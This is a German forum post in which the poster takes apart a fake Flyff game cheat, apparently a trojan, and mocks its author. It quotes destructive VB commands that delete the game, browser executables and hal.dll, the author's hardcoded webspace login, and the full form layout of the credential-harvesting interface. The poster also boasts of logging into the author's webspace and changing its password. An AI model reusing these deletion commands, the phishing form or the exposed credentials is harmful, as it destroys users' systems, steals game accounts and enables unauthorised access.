Der Typ ist lustig , denkt er könnte hier sowas verteilen.
Nunja hab den Trojaner mal auseinander genommen.
var_pv3 = ("wsxqay")
var_pv4 = ("romet@1")
var_pv5 = ("Romet.kilu.de")
Hab seinen Webspace schonmal schön verändert
( Passwort natürlich auch geändert da der "hack" dann keine Logfiles mehr hochladen konnte)
Das gute ist keiner ist drauf reingefallen.
var_pv6 = MsgBox("Hack Started", 0, "Hack Start")
Kill "C:\Programme\GpotatoEu\Flyff\Flyff.exe"
Sein C:\Programme\GpotatoEu\ scheint darauf das er ein Noob ist , denn
Wer auf C:\ seine Spiele packt hat es nicht begriffen!
Kill "C:\Programme\Internet Explorer\iexplore.exe"
( Normale User nutzen Firefox! )
Kill "C:\Programme\Mozilla Firefox\firefox.exe"
( Wow Firefox ist dabei ( nur schade das es auch als MF\firefox.exe abspeichern kann )
Kill "C:\WINDOWS\system32\hal.dll"
( WOW die braucht man ja , da hat er clever gedacht )
( Warum dann Kill Firefox , IE ? Noobs halt )
var_pv7 = MsgBox("Flyff starten?", 4, "Flyff Starten")
Warum nicht?
var_pv2 = MsgBox("Coded by Romet", 64, "About")
( Respekt an dich
Richtig geiler Trojaner *lach* )
Code:
VERSION 5.00
Begin VB.Form Form1
Caption = "Flyff MultiHack v.10"
ScaleMode = 1
AutoRedraw = 0 'False
FontTransparent = -1 'True
BorderStyle = 0
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ClientLeft = 0
ClientTop = 0
ClientWidth = 3975
ClientHeight = 6855
ShowInTaskbar = 0 'False
StartupPosition = 2
Begin VB.Timer Timer1
Left = 1320
Top = 4800
End
Begin VB.Frame Frame3
Caption = "Flyff Ordner"
Left = 120
Top = 1800
Width = 3735
Height = 1095
TabIndex = 14
BeginProperty Font
Name = "MS Sans Serif"
Size = 8,25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Begin VB.DirListBox Dir1
Left = 120
Top = 240
Width = 3495
Height = 765
TabIndex = 15
End
End
Begin VB.Frame Frame2
Caption = "Hacks"
Left = 2040
Top = 3000
Width = 1815
Height = 3255
TabIndex = 4
BeginProperty Font
Name = "MS Sans Serif"
Size = 8,25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Begin VB.OptionButton Option6
Caption = "Off"
Left = 1080
Top = 1080
Width = 615
Height = 315
TabIndex = 25
Value = 255
End
Begin VB.OptionButton Option5
Caption = "On"
Left = 120
Top = 1080
Width = 615
Height = 315
TabIndex = 24
End
Begin VB.HScrollBar HScroll1
Left = 120
Top = 1800
Width = 1575
Height = 255
TabIndex = 22
End
Begin VB.TextBox Text3
Left = 120
Top = 480
Width = 1575
Height = 285
TabIndex = 20
End
Begin VB.CheckBox Check2
Caption = "1 Attack Kill"
Left = 240
Top = 2880
Width = 1335
Height = 255
TabIndex = 17
End
Begin VB.CheckBox Check1
Caption = "Regenerate"
Left = 240
Top = 2640
Width = 1335
Height = 255
TabIndex = 16
End
Begin VB.Label Label11
Caption = "AutoClicker:"
Left = 480
Top = 840
Width = 855
Height = 255
TabIndex = 23
End
Begin VB.Label Label9
Caption = "Speed:"
Left = 600
Top = 1560
Width = 615
Height = 255
TabIndex = 21
End
Begin VB.Label Label8
Caption = "Money:"
Left = 600
Top = 240
Width = 615
Height = 255
TabIndex = 19
End
Begin VB.Label Label7
Caption = "Special:"
Left = 600
Top = 2280
Width = 615
Height = 255
TabIndex = 18
End
End
Begin VB.Frame Frame1
Caption = "Account/Server"
Left = 120
Top = 3000
Width = 1815
Height = 3255
TabIndex = 3
BeginProperty Font
Name = "MS Sans Serif"
Size = 8,25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Begin VB.OptionButton Option4
Caption = "Steamwalker"
Left = 240
Top = 2880
Width = 1215
Height = 255
TabIndex = 12
End
Begin VB.OptionButton Option3
Caption = "Burudeng"
Left = 240
Top = 2520
Width = 1095
Height = 255
TabIndex = 11
End
Begin VB.OptionButton Option2
Caption = "Luia"
Left = 240
Top = 2160
Width = 615
Height = 255
TabIndex = 10
End
Begin VB.OptionButton Option1
Caption = "Risem"
Left = 240
Top = 1800
Width = 735
Height = 255
TabIndex = 9
End
Begin VB.TextBox Text2
Left = 120
Top = 1080
Width = 1575
Height = 285
TabIndex = 8
PasswordChar = "*"
IMEMode = 3
End
Begin VB.TextBox Text1
Left = 120
Top = 480
Width = 1575
Height = 285
TabIndex = 7
End
Begin VB.Label Label3
Caption = "Server:"
Left = 600
Top = 1440
Width = 615
Height = 255
TabIndex = 13
End
Begin VB.Label Label2
Caption = "Password:"
Left = 480
Top = 840
Width = 735
Height = 255
TabIndex = 6
End
Begin VB.Label Label1
Caption = "Username:"
Left = 480
Top = 240
Width = 855
Height = 255
TabIndex = 5
End
End
Begin VB.CommandButton Command3
Caption = "Stop Hack"
Left = 2760
Top = 6360
Width = 1095
Height = 375
TabIndex = 2
BeginProperty Font
Name = "MS Sans Serif"
Size = 8,25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
End
Begin VB.CommandButton Command2
Caption = "About"
Left = 1440
Top = 6360
Width = 1095
Height = 375
TabIndex = 1
BeginProperty Font
Name = "MS Sans Serif"
Size = 8,25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
End
Begin VB.CommandButton Command1
Caption = "Start Hack"
Left = 120
Top = 6360
Width = 1095
Height = 375
TabIndex = 0
BeginProperty Font
Name = "MS Sans Serif"
Size = 8,25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
End
Begin VB.Image Image2
Picture = Form1.frx:0000
Left = 0
Top = 360
Width = 3975
Height = 1350
End
Begin VB.Label Label4
Left = 0
Top = 0
Width = 3255
Height = 375
TabIndex = 28
BackStyle = 0
End
Begin VB.Label Label6
Left = 3240
Top = 0
Width = 375
Height = 375
TabIndex = 27
BackStyle = 0
End
Begin VB.Label Label5
Left = 3600
Top = 0
Width = 375
Height = 375
TabIndex = 26
BackStyle = 0
End
Begin VB.Image Image1
Picture = Form1.frx:1FA5
Left = 0
Top = 0
Width = 3975
Height = 375
End
End
Nettes Layout
Habs offen gelassen , könnt ja eure Meinung drüber abgeben.
